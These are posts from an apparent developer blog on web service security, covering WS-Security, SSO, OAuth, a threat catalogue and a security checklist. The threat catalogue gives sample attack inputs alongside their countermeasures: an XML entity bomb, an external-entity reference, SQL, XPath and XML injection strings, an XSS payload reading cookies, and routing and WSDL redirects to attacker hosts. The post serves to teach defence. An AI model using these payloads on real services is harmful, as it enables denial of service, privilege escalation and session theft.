Showing posts with label security. Show all posts
Showing posts with label security. Show all posts

Monday, December 31, 2012

Web Service Security: message level vs transport level


Why message-level security (e.g. WS-Security) is better than transport-level security (e.g. TLS/SSL):

  • End-to-end security: message-level XML-Encryption protects sensitive data also in the intermediaries / external proxies. The point-to-point security TLS/SSL doesn't prevent the intermediaries to read the sensitive data.
  • With WS-Encryption it's also possible to encrypt only a part of the messages for flexibility (e.g. in case the intermediary proxy need to peek the unencrypted part) or performance (it's cheaper to encrypt/decrypt only portions of the messages).
  • The message-level security (e.g. WSS Authentication, XML-Encryption, XML-Signature) is independent to the protocols thus it offers more flexibility to send SOAP messages across different protocols (e.g. http, jms, ftp).

On the other hand, message-level security has also disadvantages:

  • Performance (encrypt/decrypt, validate): processing time & increased message size
  • Configuration & Maintenance (but can be easier using declarative policy)
  • Can not peek the message values during development & debug
  • More complex, more difficult to find developers who master






     Transport level security (TLS/SSL)

Security protocol for internet communication with web protocol (e.g. web application, web services SOAP/REST)


Authentication
The basic authentication scheme is by passing the credentials (userid & password) in the http header. This can be improved using password digest: the credentials are hashed (so that the attacker can not read the password) & using nonce (to prevent reply attack)

SSL
Certificates can be used for authentication, encryption and signature (non repudiation)

How
by setting in the web server (e.g. Weblogic, Apache, Tomcat): basically enabling the https listening port and register the location of keystore/certificates.






Message level security


Message standard for SOAP web services security e.g. WS-Security (WSS), WS-Policy.

How:
  • Java: using handler/adapter to insert WSS header in the request and remove the WSS header in the received response. The handler also encrypt/decrypt the data. Futher info: read book by Kanneganti.
  • Java using Rampart/Axis2 framework: set security context (e.g. keystore) in the request, define security policy in the wsdl. Futher info: read book by Tong.
  • OSB: using OWSM by defining policy. Futher info: read OSB development cookbook by Schmutz et.al.

Messages examples:


WSS Authentication using user password token

<soapenv:Header>
<wsse:Security xmlns:wsse=".../oasis-200401-wsswssecurity-secext-1.0.xsd">
 <wsse:UsernameToken>
  <wsse:Username>myname</wsse:Username>
  <wsse:Password>mypasswd</wsse:Password>
 </wsse:UsernameToken>
</wsse:Security>
</soapenv:Header>

WSS Authentication using password digest
<wsse:UsernameToken>
  <wsse:Username>myname</wsse:Username>
  <wsse:Password Type=" http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordDigest">thepasswoorddigest</wsse:Password>
  <wsse:Nonce EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" >thenonce</wsse:Nonce>
  <wsu:Created>2011-01-11T11:11:11.111Z</wsu:Created>
 </wsse:UsernameToken>

WSS Encryption and Signature

The encrypted data is stored in <xenc:CipherData> inside <xenc:EncryptedData> in the body. The <ds:KeyInfo> inside <xenc:EncryptedData> in the body refers to the key information <xenc:EncryptedKey> in the header. So in this example the key is also sent in the message (in the <xenc:CipherData> inside <xenc:EncryptedKey> in the header)  but there is also a scheme where you can reuse the key so you don't have to resent it everytime.

In this example we show also the use of signature, the signature is in the <ds:Signature>  and the client key signature information is in the  <wsse:BinarySecurityToken> both in the message header.


<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
            xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">
            <soap:Header>
                        <wsse:Security xmlns:wsse="..." soap:mustUnderstand="1">
                                   <xenc:EncryptedKey xmlns:xenc="http://www.w3.org/2001/04/xmlenc#"
                                               Id="EncKeyId-9B0F450EB80863260412615456546075">
                                               <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5" />
                                               <ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
                                                           <wsse:SecurityTokenReference
                                                                       xmlns:wsse="...">
                                                                       <ds:X509Data>
                                                                                  <ds:X509IssuerSerial>
                                                                                              <ds:X509IssuerName>CN=CA...<ds:X509IssuerName>
                                                                                              <ds:X509SerialNumber>4</ds:X509SerialNumber>
                                                                                  </ds:X509IssuerSerial>
                                                                       </ds:X509Data>
                                                           </wsse:SecurityTokenReference>
                                               </ds:KeyInfo>
                                               <xenc:CipherData>
                                                           <xenc:CipherValue>Pgdgg...cpL4gIc=</xenc:CipherValue>
                                               </xenc:CipherData>
                                               <xenc:ReferenceList>
                                                           <xenc:DataReference URI="#EncDataId-2" />
                                               </xenc:ReferenceList>
                                    </xenc:EncryptedKey>
                                    <wsse:BinarySecurityToken .
                                               ValueType="...oasis-200401-wss-x509-token-profile-1.0#X509v3"
                                               wsu:Id="CertId-9B0F450EB80863260412615456546075">M34634347D4=
             </wsse:BinarySecurityToken>
                                   <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"
                                               Id="Signature-1">
                                               ...
</ds:Signature>
                        </wsse:Security>
            </soap:Header>
            <soap:Body xmlns:wsu="..." wsu:Id="Id-16874657">
                        <xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#"
                                   Id="EncDataId-2" Type="http://www.w3.org/2001/04/xmlenc#Content">
                                   <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc" />
                                   <ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
                                               <wsse:SecurityTokenReference xmlns:wsse="...">
                                                           <wsse:Reference xmlns:wsse="..."
                                                                       URI="#EncKeyId-9B0F450EB80863260412615456546075" />
                                               </wsse:SecurityTokenReference>
                                   </ds:KeyInfo>
                                   <xenc:CipherData>
                                               <xenc:CipherValue>tdfgdfgdg...yk5H</xenc:CipherValue>
                                   </xenc:CipherData>
                        </xenc:EncryptedData>
            </soap:Body>
</soap:Envelope>



See also:


Web Service Security: Threats & Countermeasures
Please share your comment.

Source: Steve's blog http://soa-java.blogspot.com







References:


• SOA Security by Kanneganti




Oracle Service Bus 11g Development Cookbook by Schmutz & Biemond et.al.




Developing Web Services with Apache CXF and Axis2 by Tong

Sunday, December 2, 2012

SSO Shibolleth




Shibolleth is a popular open source single signed on (SSO) framework. Using SSO, we avoid too many password accounts for different applications that will increase the phishing risk, ear drop risk and revocation problem (you need to cancel/change all the password accounts in all applications).

Other features of Shibolleth:
  • federated e.g. you can use a national-wide IdP such as SURFnet in the Netherlands and then SURFnet will communicate with your local (university) IdP to authenticate you.
  • the application (via SP) can obtain user metadata (e.g. employeeID, email) from IdP
  • SP & IdP are communicated using standard SAML format

Shibolleth consists of 2 parts: the Service Provider (SP) an Apache-module that resides next to your web application in the Apache web server and the Identity Provider (IdP) server that authenticates  the user based on authentication source e.g. LDAP, database, password files, SAML security provider (e.g. Aselect), OAuth security provider such as Google, etc. The SP consists of shibd daemon and shib apache module.


The flow of Shibolleth is as follows:


1. The user browse a web application. In the apache config, this web application is declared as protected using Shibolleth.
2. The user will be redirect to the IdP for authentication. The IdP will use an authentication source (e.g. LDAP) to authenticate the user.
3. The IdP  will send the security assertion to the SP (via client session cookie).
4. The SP can obtain user metadata (e.g. employeeID, email) from the IdP.
5. The SP grants access to the application


SSO for webservices

An interesting idea about using SSO Shibolleth for web service:
Since Oracle OSB has functionality to access http header, so it's possible to use Shibolleth SSO in OSB web services proxies.
  

Links

Exercise SP install & config  to connect to Dutch SURFnet IdP using Shibolleth:

Shibolleth security checklist:

Want to establish your own IdP? SimpleSAML is one of the easy framework:



Source: Steve's blogs http://soa-java.blogspot.com/

Any comments are welcome :)


OAuth

If you use social media (e.g. facebook, twitter) it's likely that you've used OAuth. OAuth works also for devices, e.g. my TV uses OAuth to let me access my Youtube account.

Usages:


  • Delegated authorization e.g. a (web) application (the client / resource consumer) want to access a user data  in a resource provider (e.g. google calendar or facebook photos/friends), the application rely on user permission (authorisation) using an authorization server (e.g. facebook, google)  to get access to user's data.
  • OpenID, which is build on top of OAuth protocol, provides single sign on / (federated) delegated authentication.

Advantages:

  • To avoid too many password accounts for different applications that will increase the phishing risk, ear drop risk and revocation problem (you need to cancel/change all the password accounts in all applications)
  • To avoid sharing password to resource providers, only the security provider (e.g. google) registers your password
  • To standardize different (delegated) authorization methods from different vendors. At this moment in practice there are still minor differences between different vendor implementations, but the distances between them are getting smaller and generic APIs (e.g. Scribe) that adapt to different vendors are available.

Best practice

  • the auth token is sent with http header instead of URL GET parameters: less obvious, to avoid the token being cached/logged as url entries
  • use SSL to avoid the attackers steal the token
  • limit the token lifespan (if you revoke the token it will not last too long)
  • use random salt to prevent CSRF attack.
  • manage user experience: tell user what happens "e.g. This application needs your approval to use this resource. We will redirect you to an authorisation server (e.g. google) so that you can give permission."

Protocol:  the web server application flow (a.k.a. the 3 legged flow)


This is the strongest OAuth protocol, to avoid the client browser (e.g. malicious javascript) to catch the access token by using intermediately autho code (which later is being exchanged for an access token via server to server call that safer than browser to server call).

First the client application has to register to the autho server / oauth security provider (e.g. google) to establish clientID & password.

The flow:

1. The application makes oauth request to the the authorisation server with parameters: clientid (from the client application registration), resorce scope (e.g. google calendar), redirect url (where the user will be returned after they approve the access) and other parameters such as state (random salt against CSRF) and access_type ('offline' for the 3 legged flow). The user has to login and then gives permission/authorisation to the application via authorisation server web interface. The authorisation server then return the user (& send the intermediate code) to the redirect url.
2. The client application then can exchange the intermediate code for an access token.
3. The application then can access the user data in the resource provider using access token. The resource provider will validate the access token. The validation process is not defined in the standard, but for example some OAuth implementation provide API in the OAuth server where the resource provider can exchange the token with user's id & scope information and then compare this result with the resource provider's own ACL.
4. Optional: in some scenarios the access token will be expired, the application need to obtain a new access token using refresh token.

Other protocols:         

  • client flow (a.k.a. the 2 legged flow) : the client received the access token directly (instead of have to exchange the intermediate code.) This approach is less secure (since the access token is exposed to  the client browser, so for example a malicious javascript can steal it) but good enough for many non critical applications (e.g. invitations for photos viewer).
  • password flow: use password to be exchanged with an token. This approach is less secure (the application/resource provider will know your password) but can be used for login to trusted applications inside a company (e.g. webmail, CRM).
  •  client credential flow: use the client credential from the client registration. This typically is used for internal applications or trusted cloud integration e.g. salesforce CRM to your company.
  •  devices flow: for mobile devices, smartphones, TV.


Links to tools/libraries:


OSB

Oracle OSB has functionality to access http header, so it's possible to use OAuth/OpenID with OSB web services for delegated authorization/SSO.



Recommended reading:

How to Secure Your OAuth Implementation
http://software-security.sans.org/blog/2011/03/07/oauth-authorization-attacks-secure-implementation

Source: Steve's blogs http://soa-java.blogspot.com/

Any comments are welcome :)



References:

Getting Started with OAuth 2.0

Programming Social Applications:

Monday, September 17, 2012

Web Service Security: Threats & Countermeasures

 

Denial of Service (DoS)


Oversize payload / Recursive XML

<attack1>
  <attack2>
        .... nested 10000 elements
            <attack10002> .... big data ....  <attack10002> ....
Countermeasure: limit the message size with gateway/firewall, XSD restriction length, limit nested element deep, don't use maxoccurs="unbounded" in XSD.
While we can also limit the message using application-server setting or XSD validation in the proxy, it's better to reject the messages  as early as possible (e.g. in the gateway with XML firewall) before the message burden the load balances and application-servers.
Use throttling (also in the log file generation).

Entity Expansion / XML bomb

Excessive/recursive reference to entity to overwhelm the server, e.g.
<!DOCTYPE s[
<!ENTITY x0 "hack">
<!ENTITY x1 "&x0;&x0;">
... Entities from x1 to x99... 
<!ENTITY x100 "&x99;&x99;">
]>
...
 <soapenv:Body>
  ...
  <s>&x100;</s>
Countermeasure: reject message with <!ENTITY> tag (or whole DTD tag), use SOAP 1.2, use XML firewall.

XML External Entity DOS

Entity reference to external resources (e.g. a huge file) to overwhelm the server, e.g.
<!DOCTYPE order [
<!ELEMENT foo ANY >
<!ENTITY hack SYSTEM "http://malicious.kom/bigfile.exe" >
]>
...
 <soapenv:Body>
   ...
   <foo>&hack;</foo>
Countermeasure: reject message with <!ENTITY> tag (or whole DTD tag), use SOAP 1.2, use XML firewall.

Malformed XML

To overwhelm the server with exceptions, e.g. omitting XML closing tag or wrong date-time format.
Countermeasure: XSD validation.

Weak XML definitions

e.g. <any> element which allows any additional elements
Countermeasure: prevent the use of <any>.

Buffer overflow

Oversize message to override variables / operation address, DoS attack
Countermeasure: use programming language/frameworks which is more safe regarding buffer overflow (e.g. Java), bounds checking.

Non-content attacks

The DOS attacks described above mainly are content-based by sending malicious / oversize contents. But web services are indirectly also vulnerable to non -content attacks (e.g. SYNC-flood) that will overwhelm the network infrastructure (firewall, switch/router).
Countermeasure: using firewall/switch/router with anti DOS filtering features such as TCP splicing/protocol analyzer, bogus filtering, anomalies detection, rate limiting.


Command Injection


SQL injection

Manipulate the parameters such that it will run a malicious sql statement in the database.
e.g. <password>' or 1=1 </password>
Countermeasure: XSD validation, sanitize

Xpath injection

e.g.
//user[name/text()='Admin' and password/text()='' or '1' = '1'
or use union |  to extend query.
Countermeasure: XSD validation, sanitize


XML Injection

Web service input:
Username: tony
Password: Un6R34kb!e</password><!–
E-mail: --><role>admin</role><mail>s4tan@hackers.com

The result in the xml database:
<user>
    <username>tony</username>
    <password>Un6R34kb!e</password><!--</password>
    <role>guest</role>
    <mail>--><role>admin</role><mail>s4tan@hackers.com</mail>
</user>
So I change the default role guest to admin.

Countermeasure: XSD validation, sanitize (e.g. encode <,>)

XSS using CDATA Injection

Vulnerabilities when you use display the WS responds to web page or evaluate the responds as Ajax objects, e.g.to reveal sessionID in the client cookie:
<![CDATA[<]]>script<![CDATA[>]]>alert(document.cookie) <![CDATA[<]]>/script<![CDATA[>]]>
Countermeasure: XSD validation, sanitize (e.g. encode <,>)

Execute binary files or system call command

The attack methods above (e.g. SQL injectrion, XML injection) can be used to run system commands using the databases / XML processors features (e.g. XSLT exec())
Countermeasure: XSD validation


Malicious Reference

Routing Detour

The attacker change the reference address in http-header/WS-Routing/WS-Addressing, e.g.
<wsa:ReplyTo>
  <wsa:Address>http://hackersWS</wsa:Address>
</wsa:ReplyTo>
Countermeasure: SSL


Reference Redirect

Reference to malicious external reference. e.g.
<sig:Signature>
  ....
  <sig:Reference URI="http://maliciousweb/VERYBIGFILE.DAT">
Countermeasure: prohibit reference to resource outside the document.

Impersonation

Malicious/ web service with the similar interface (wsdl)
Countermeasure: protect the web service reference from man in the middle attack with SSL. Use certificate authentication.

Authentication (WSS or transport-level)


Weak password

The attacker guest the password (e.g. using brute-force / dictionary attack)
Countermeasure: use stronger authentication (e.g. certificate based,  multi factor authentication), enforce strong password (e.g. minimum length & character sets), lockout account after multiple authentication failures, don't give clue to the hackers e.g. "valid username but wrong password".

Reply attack

The attacker capture the authentication token (e.g. password, session-token) and then reuse it in his request.
Countermeasure: one time nonce/password digest, SSL, use certificate-based authentication


Authorisation


URL transversal attack

e.g. the hacker knows the Restful WS endpoint
GET http://library/booklist/?title="hacking"
the attacker might try
GET http://library/secretdocumentlist/?title="hacking"
Countermeasure: ACL on the URL tree.

Web parameter manipulation attack

REST WS e.g.
GET http://library/secretdocumentlist/?role="employee"
GET http://library/secretdocumentlist/?role="boss"
Countermeasure: ACL. Don't make security decision base on URL params (sessionID, username, role) .

Illegal Web method

e.g. The attacket know the Restful-WS url for GET operation to get the data, he can try POST operation to modify the data.
Countermeasure: ACL for method access.


Encryption


Weak cryptography

Countermeasure: Use well-proven encryption algorithms (e.g. AES) in well-proven libraries instead of inventing and implementing your own algorithm. Protect your key.

Failure to encrypt the messages

You don't use encryption, the attackers can capture your authentication token and use it to impersonate you.
Countermeasure: Use encryption (e.g. SSL or WSS & XML-Encryption)

Messages are not protected in the immediateries

You use point to point encryption SSL but inside the intermmediateries  your message is decrypted. The immediateries can read your sensitive data and use it for his advantage.
Countermeasure: Use end to end encryption (WSS & XML-Encryption)

Data tampering

An attacker modifies your message for his advantage.
Countermeasure: signature and encryption (WSS & XML-Encryption)

Schema poisoning/ metadata spoofing

Maliciously changing the WSDL (e.g. to redirect the service address to malicious web, to manipulate data types, to remove security policy) or manipulating the security policy document (to lower security requirement), e.g.
<wsdl:port name="WSPort" binding="tns:WSBinding">
  <soap:address location="http://hacker.kom/maliciousWS"/>
</wsdl:port>
Countermeasure: check the authenticity of metadata (e.g. signing), use SSL to avoid man in the middle attack

Repudiation

A client refuses to acknowledge that he has misused the user-aggreement (e.g. perform dictionary attack against web-service authentication).
Countermeasure: keep client message signature in the log. Protect the log files.



Infomation disclosure



WSDL disclosure

WSDL contains many information for the attacker (operations, message format).
Countermeasure: protect the wsdl endpoint with ACL/firewall. Use robot.txt to avoid the wsdl appears in google.

UDDI disclosure

UDDI gives the attacker information about wsdl location.
Countermeasure: don't publish the wsdl in UDDI

Error message

Attacker send failure messages/DOS attack such that the web service will return error messages which can reveal information (e.g. database server address, database vendor).
Countermeasure: don't publish sensitive information (e.g. connection string) in the error message. Sanitize error message (e.g. the stacktrace)


Testing Tools

• SOAPUI
• WSDigger
• WSFuzzer



Security checklist:

http://soa-java.blogspot.nl/2012/09/security-checklists.html


Web service message level security WS-Security (WSS) and transport level security (TLS):
http://soa-java.blogspot.nl/2013/04/web-service-security-message-level-vs.html


Please share your comment.

Source: Steve's blog http://soa-java.blogspot.com





References:

• SOA Security by Kanneganti





Oracle Service Bus 11g Development Cookbook by Schmutz & Biemond et.al.





Developing Web Services with Apache CXF and Axis2 by Tong


• Ws-Attacks.Org
• Web Service Hacking, Progress Actional Whitepaper
• OWASP Web Service Security Cheat Sheet
• Attacks on Web Services By Bidou
• Web Services Security By Negm, Forum Systems Inc.
• OWASP Top Ten Web Services Vulnerabilities By Morana
• Http://Www.Soapui.Org/Soap-And-Wsdl/Web-Service-Hacking.Html
• NIST guide secure web service
•  http://clawslab.nds.rub.de/wiki/index.php/XML_C14N_Entity_Expansion
•  http://clawslab.nds.rub.de/wiki/index.php/XML_External_Entity_DOS
http://projects.webappsec.org/w/page/13247004/XML%20Injection
• http://clawslab.nds.rub.de/wiki/index.php/Routing_Detour
• http://clawslab.nds.rub.de/wiki/index.php/Reference_Redirect

Tuesday, September 11, 2012

Security Checklist


This list is mainly for developers, but can be useful also for architects, security managers and testers. Mainly from design and coding perspective, enriched with configuration, operational and human process aspects.

Please see also "Web services security threats": http://soa-java.blogspot.nl/2012/09/web-service-security-threats.html

This is a part of the blog series about (SOA) software guidelines. For the complete list of the guidelines (i.a. about design, security, performance, operations, database, coding, versioning) please refer to: http://soa-java.blogspot.nl/2012/09/soa-software-development-guidelines.html

General design principles

• Prefer to use policy based declarative security instead of programmatic security: separation between security configuration and business code. Beware that both business code and the security configuration typically have different life cycles and implemented/managed by different people.
• Use declarative security instead of programative, separation between application logic and the cross-cutting concerns (e.g. security, logging).
• Prefer to use message level / end-to-end security (e.g. WSS) than transport level / point-to-point security (e.g. SSL): to protect the messages in the intermediate services and flexibility to protect only portions of the messages (due to performance).
• Does the service/data need authentication, authorization, signature/non-repudiation, encryption?
• If the web service is used to wrap a legacy service: aware about vulnerabilities of the legacy service, aware about how to reconcile the security model (e.g. credentials/roles mapping) or some legacy application doesn't have any security provisioning at all
• Use white lists instead of black lists
 Throttling the requests / messages-size to prevent DoS
• Defense in depth: don't rely on a single layer of security (e.g. apply also authentication & SSL instead of protecting the infrastructure with firewall only)
Check at the gate (e.g. validate and authenticate early)
• Secure the weakest link
Compartmentalize: isolate and contain problems e.g. firewall/DMZ, least privileged accounts, root jail.
• Secure by default e.g. close all ports unless it's necessary
• Communicate the assumptions explicitly e.g. firewall will secure all our internal services with no ports open to outside world
• Understand how the infrastructure restriction (e.g. firewall filtering rules, supported protocol, ports allowed) will affect your design
• Understand the organizational policies/procedure (e.g. what applications and users are allowed to do) so you don't have acceptance problem by production team because your services breach these policies
• Understand the deployment topology due to your organization structure (e.g. your company has many remote branches offices connected to the main server-farm via VPN)
• Understand the identity propagation / credential mapping across trust boundaries (e.g. apache web account >  weblogic web service account  > database account)
Security measures (e.g. authentication, encryption, signing) will cost performance (increasing processing cost and message size) as well as other qualities attributes such as usability, maintainability (e.g. distribution of certificates) and operability (e.g. security service / identity provider failure). So consider the trade off between security and other quality attributes regarding your company infrastructure and policies (e.g. if the firewall policy in your company is very strict, you might lessen the encryption requirement for the intern services).
• While applying security by design, I still keep the "security through obscurity" to some extent, e.g. I will not publicly publish the security architecture of my company (the endpoints/ports, wsdl/schema, libraries used, etc).


Security process & management


• Design & code review (e.g. login & logout mechanism, authorization logics in each Struts actions)
• Include security in your development process (e.g. SDL), use thread modeling during analysis & design phase.
• Make sure that your programmers and network/servers administrators capable to deal with security issues, arrange training if necessary.
• Make sure that the operational team know the contingency procedure (e.g. what to do in case of DoS attack or virus spreading in your network). Have contingency plan / crisis management document ready: procedures to where the configurations are, how to isolate, handle failures, how to restart in safe mode, how to turn-on/turn-off/undeploy/deploy modules/services/drivers, who/how to get informed, which services/resources have priorities (e.g. telephony service, logging service, security services).  Have this document in multiple copies in printed version (the intranet and printer may not work during crisis). The crisis team should have exercised the procedures (e.g. under simulated DOS attack) and measured the metrics during the exercise (e.g. downtime, throughput during degradation mode).
• Plan team vacation such that at least one of the crisis team member always available. Some organizations need 24/7 full time dedicated monitoring & support team.
• Hire external party for penetration testing and security audit.
• Document incidents (root causes, solutions, prevention, lesson to learn), add the incident handling procedures to the crisis management document.
• Establish architecture policies for your department. Establish a clear role who will guard the architecture policies and guidelines e.g. the architects using design/code review.
• For maintainability & governance: limit the technologies used in the projects. Avoid constantly changing technology while still open to the new ideas. Provide stability for developers to master the technology.
• Establish change control. More changes means more chances of failures. You might need to establish a change committees to approve the change request. A change request consists of why, risks, back-out/undo plan, version control of configuration files, schedule. Communicate the schedule with the affected parties before.


 Authentication

• Prefer to use stronger authentication (e.g. 2-way X.509 certificate authentication) than basic authentication (password based).
• If you use basic authentication use SSL or password digest to protect the password.
Credentials, authentication token / password are stored with encryption / salted hash
• Force users to use strong password and/or multi factor authentication. Use password expiration feature.
Avoid to send passwords to external application (e.g. when an external application need to access resource services), use OAuth instead.
 Disable test and example accounts.
Credentials (e.g. password, service accounts) are centralized (e.g. in an LDAP server) for better manageability. Redundancy (e.g. fail-over clusters) can be used to prevent single point of failures.
• If you use certificate based certification: always check the validity of the certificates (e.g. using CRL).
• Prevent brute-force / dictionary attacks (e.g. for add a new user webpage) using CAPTCHA, email validation, locking after max-attempts.
• Using SSO / centralized security service: users don't have to have many accounts/passwords, users don't have to share their passwords with many applications/resources, the developers don't have to maintain multiple authentication mechanisms in different systems. With federated Identity provider, you can centralized the credentials across organizations.
• Use standard security solutions (e.g. OAuth, OpenID, SAML to exchange security messages), don't reinvent new wheels. It's more risky to implement your own security solution than using a well tested solution.
• Authentication should be in the server side (instead of client side/JavaScript).
• Avoid having password as plain text in the configuration files (e.g. fstab), save passwords in the password files / credentials files and protect these files (chmod 600 and encryption if possible).
• Beware with remote OS authentication for example in Oracle database since an attacker can try to connect using a username that has the same name with the OPS$account in the database.
• Send confirmation when a user change his/her password, email, mobile or other sensitive personal data.


Session management

• Limit the life time of cookie or authentication/authorization tokens.
• Prevent replay attack by using one time nonce.
• Prevent CSRF using secret nonce as a request parameter (e.g. for OAuth) and validate the nonce in the server side, beware that a nonce cookie doesn't prevent CSRF.  Prevent CSRF by informing the user about the action (e.g. "you're about to transfer $100") and ask for reconfimation/reauthentication.
Session ID is strongly random generated, at least 128 bits length.
• Appropriate logout mechanisms (e.g. invalidate sessions, clear all cookies).
• Force user to re-authenticate for sensitive operations (e.g. change password).
Hide sessionID (e.g. in secure cookies instead of in GET url parameter or hidden form field).
• Validate the security token with HMAC or encrypt the token e.g. session ID cookies must be encrypted / using HttpOnly secure cookies.
• Limit the cookies domain & path.
• Always provide logout feature. Make sure that logout is properly done (invalidate session, remove session cookies).
• Issue a new session id for each login action (to prevent session fixation).
• Identify possible session hijacking for multiple IP addresses / geolocation which are simultaneously use the same sessionID.
• Use anti caching http header (Cache-Control: no-cache and  Pragma: no-cache).
• Use IE HttpOnly to prevent client (java)scripts query the cookies.
• Set the session timeout.
• Appropriately handle requests which indicate security check circumvention or an obvious attempt for privilege escalation,e.g. in case of requests with invalid sessionID: log the sender's IP address, invalidate the session and redirect to login page.

Authorisation

• Determine which web service operations or which web page/actions need authorization.
• Determine the privilege/roles for your service/web.
• Strong ACL (in operating system/file system level, application level, servers).
• Apply the least privilege principle, don't use admin account for daily operations (e.g. read database), create specific accounts for specific operations (e.g. CreditcardReadOnlyAccount, UpdateInventoryAccount, WebShopInventoryReadOnlyAccount).
Audit/log administrator activities (e.g. create new user, grant).
• Remove the default accounts & ACL in your system if possible (e.g. remove BUILTIN/Administrators group from SQL Server login) or rename the default (administrative) accounts if possible (e.g. sa user  in SQLServer).
• Run the server in root jail.
Centralized authorization (e.g. using OAuth) to reduce the burden of reconciling different access-right in different systems across trust-boundaries (e.g. apache  role=boss mapped to database role =  readwriteEmployeeData).
• Using ACL on URL tree and web methods allowed e.g. the REST url http://myweb.kom/myprofile should only be accessible for me & myfriends only for GET method and for me only for the PUT method.
• Use ACL to protect directory and files from transversal attack.
• Use ACL per user/session to filter direct & undirect references (e.g. links).
 Authorization check in all protected GUI operations (e.g. Struts-actions, Admin html page) and web service operations.
• Beware of the system calls feature in your framework that can be used for hostile purposes, e.g. Runtime.exec() in Java or store procedure xp_cmdshell in SQLServer. Solution: root jail, least privelege accounts, ACL, disable unnecessary features, run the application server with read-only privilege on web-root directory (e.g. Apache  nobody user).
• Make sure account lockout doesn't result in DoS.
 Check (e.g. using a white-list) all references submitted via input (e.g. webservice request, file, database).
• Avoid url-jumping (e.g. Checkout -> Delivery instead of Checkout -> Payment -> Delivery) by checking the last visited page (e.g. in session variable ).
• Remove guest account / anonymous login if it's not really needed. At least review the guest / public account, remove unnecessary privileges from this account.
 Review the ACL (& authentication credential lists) regularly to detect forgotten change actions (changed roles, departed employees)


Confidentiality, Encryption, Signing

• Encrpt/hash sensitive data e.g. bank-accounts in the LDAP production copy used for development/test.
• Use message-level XML-Encryption to protect sensitive data in the intermediaries / external proxies / clouds. The point-to-point SSL doesn't prevent the intermediaries to read the sensitive data. With WS-Encryption it's also possible to encrypt only a part of the messages, thus more flexible (e.g. in case the intermediary proxy need to peek the unencrypted part). The message-level security (e.g. WSS Authentication, XML-Encryption, XML-Signature) is independent to the protocols thus it offers more flexibility to send SOAP messages across different protocols (e.g. http, jms, ftp).
• Use signature and saved logs for non-repudiation
• Use signature for message integrity
• Protect the key (e.g. don't backup the key and the encrypted data in the same backup-tape)
• Use well-proven encryption algorithms (e.g. AES) in well-proven libraries instead of inventing and implementation your own algorithm.
• Don't register sensitive services to UDDI
• Use robot.txt to avoid the sensitive files (e.g. WSDL, source codes, configuration files, confidential documents)  appears in Google.
• Don't store secrets in the client side (e.g. hidden form field, cookies, HTML5 storage). If you really need to store sensitive data in the client (or to pass them in the message): obfuscate the name and encrypt/hash the value. Beware of persistent cookies (the information will be written to the file system hence can be read by malicious users)
• Secure backup (e.g. with encryption), store it in a secure place.
• Avoid mixed SSL - nonSSL web sites (it causes user warning in the browser and can expose user ID.) Use CA-valid certificates (to avoid user warning in the browser).
• An example of deployment pattern: using DMZ proxy servers between outer and inner firewall to expose (enterprise) services to public. The servers in de DMZ are treated as bastion hosts, special attentions are given to protect these servers against attacks.
• Load sensitive data on demand, clear them from memory as long as you don't need them anymore. Don't keep/save them (e.g. in session variables or cache) if it's not really necessary.
• Use enough key size. Securely distribute, manage and store the keys. change the keys periodically.

Coding

 Limit accessibility: e.g. declare classes/methods/fields as private instead of public
• Declare sensitive classes/methods/fields as final so they can't be overwritten
• Don't write secrets in the code (e.g. database connection string), beware that the secret strings in the compiled classes can still be read using reverse engineering tools
• Remove test code, example code, example database
• Using framework/library functions can be more safe than building your own function (e.g. using jquery .ajax to process json response from ajax calls instead of plainly using eval). But make sure that the third-party libraries that you use is save (e.g. code review) and follow the security newsgroup for that library.
• Use jsp comment tag instead of html comment to avoid the code comments will be visible to the client
• Use prepared statement for querying database to protect against sql injection (and better performance).
• If you need to redirect via url parameter consider using mapping value instead of the actual url link. Make sure that the redirect url is valid and authorized for the user.
• Beware of null insertion, e.g. circumvent  if ($user ne "root) using user="root/0" in Perl. Solution: validate inputs.
• Beware of buffer overflow attack (e.g. to override variables / operation address, DoS attack). Solution: use programming language/frameworks which is more safe regarding buffer overflow (e.g. Java), bounds checking
• Beware of race condition exploitation for example to overwrite the username of another individual's session. Solution: avoid sharing variable between sessions via global variables / files / database /registry entry.
• Use CAPTCHA to distinguish genuine human inputs from robot inputs.

Configuration / operation management

• Protect / restrict access to configuration files & admin interfaces.
Encrypt/hash sensitive configuration data (e.g. database connection, password).
 Centralized security management (e.g. OPSS for Oracle Fusion Middleware, JAAS for java applications) instead of managing different configurations spreading from GUI, web services, database.
• To prevent DOS attack: restrict message size (e.g. default 10MB in Weblogic) and set server timeout. It's better to countermeasure DOS as early as possible (e.g. in the firewall/gateway with Cisco rate limit) before the load balancers & application servers.
• Run application-servers/database/ldap with minimum privilege, avoid running the server as root.
• Reduce attack surface: disable unnecessary daemons, ports, users/groups, apache-modules, network storages in the server. Disconnect network file servers if it's not necessary
• Update the OS/applicativon-servers/database/Ldap/libraries with latest (security) patch
• Remove the temporary files (e.g. hibernate.properties.old or httpd.conf.bak)
• Audit/scan regularly for new vulnerabilities. It's not enough to do penetration test only during the first acceptance-test since the attack surface can grow with time.
• Follow the security newsgroups/websites (e.g. BugTraq), discuss the potential new threats with your security manager.
• Monitor the system lively for early detection of anomalies (e.g. multiple malicious logins from a certain IP address, unusual frequent web/soap requests to a certain url). Use Intrusion Detection System (IDS).
• Change the default application ports. Close the unnecessary ports with firewall.
• Minimize the allowed IP address source by using firewall, Apache httpd file, Weblogic connection filter.
• Use separate environments  production, test, development, sandbox playground (e.g. to test prototype or try new viral algorithms.) Each components in these environments have different credentials than in other environment. If the data in the test & development are based on production data (to make the test more realistic) the sensitive production data should be masked.
• The (security) test configuration should be identical to the production (e.g. firewall configurations, networks topology, timeout setting), for example you can use VMWork's LabManager to achieve this.
• Hide server information in http header (e.g ServerSignature Off in apache.conf).
